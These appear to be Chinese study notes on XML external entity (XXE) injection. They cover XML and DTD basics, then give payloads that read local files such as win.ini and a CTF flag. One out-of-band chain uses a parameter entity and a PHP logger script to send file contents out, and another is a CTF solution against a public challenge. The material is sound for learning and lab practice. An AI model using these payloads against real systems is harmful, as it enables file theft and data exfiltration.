概念

xml 外部实体注入漏洞,发生在应用程序解析 xml 输入时没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取,命令执行,内网端口扫描等危害

触发点往往是可以上传 xml 的地方,没有对上传的 xml 进行过滤,导致可以恶意上传 xml 文件

基础知识

XML 介绍

xml 指可拓展标记语言,用来传输和存储数据,没有预定义标签,允许作者定义自己的标签和文档结构

语法规则

XML 必须有一个根元素
XML 元素必须有一个关闭标签
XML 标签对大小敏感
XML 元素必须被正确嵌套
XML 属性值必须加引导

例如:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="ISO-8859-1"?>
<note>
<to>George</to>
<from>john</from>
<heading>reminder</heading>
<body>Don't forget the meeting!</body>
</note>

PHP 接收 XML

1
2
3
4
5
6
7
<?php
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data);
foreach ($xml as $key => $value) {
echo "key: ".$key." value: ". $value."<br>";
}
?>

实体引用

< <
> >
& &

DTD 文档类型定义

DTD 文档类型定义作用是定义 XML 文档的合法构建模块
DTD 可以在 XML 文档内部声明,也可以外部引用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE note[
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>George</to>
<from>john</from>
<heading>reminder</heading>
<body>Don't forget the meeting!</body>
</note>

PCDATA 的意思是是被解析的字符串数据,PCDATA 是会被解析器解析的文本。这些文本将会被解析器检查实体以标记,文本中的标签会被当作标记来处理,而实体会被展开

在声明中这样可以定义变量
在 XML 文档里引用&变量名;

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE note[
<!ELEMENT note (body)>
<!ENTITY hack "hacked by king">
]>
<note>
<body>&hack;</body>
</note>

还可以引用文件

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE note[
<!ELEMENT note (body)>
<!ENTITY hack SYSTEM "file:///C:/windows/win.ini">
]>
<note>
<body>&hack;</body>
</note>
image.png
image.png

XML 文档规定:只有在 DTD 中才能引用参数实体,参数实体的引用和声明都是以%开头的

下面三个实验源码没有完善,还不行
1.xml

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % evil SYSTEM "file:///D:/anquan/localtest/WWW/php/xxe/test/flag.txt" >
<!ENTITY % xxe SYSTEM "http://127.0.0.1/php/xxe/test/dtd2.xml" >
%xxe;
%all;
]>
<foo>&send;</foo>

dtd2.xml
xml 不允许实体再去引用实体,所以不能把 data2.xml 写在文档里而要外部引用

1
<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1/php/xxe/hacker.php?cookie=%evil;'>">

hacker.php

1
2
3
4
5
6
7
<?php
$cookie = $_GET['cookie'];
$time = date('Y-m-d');
$fp = fopen("cookie.txt","a");
fwrite($fp,"Date: ".$time." Cookie:".$cookie."\n");
fclose($fp);
?>

例题

http://web.jarvisoj.com:9882

搜索框传递的格式是 json 改为 xml,就可以读文件

image.png
image.png

思路:
告诉了 flag 的位置,并且是在非 apache 解析目录相下,想读取文件,要么 getshell,要么文件读取

在发请求过程实现文件读取 -> XXE

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ELEMENT note ANY>
<!ENTITY evil SYSTEM "file:///home/ctf/flag.txt" >
]>
<note>
<body>&evil;</body>
</note>

xxe-lab

https://github.com/c0ny1/xxe-lab
直接放到 phpstudy 的 WWW 目录下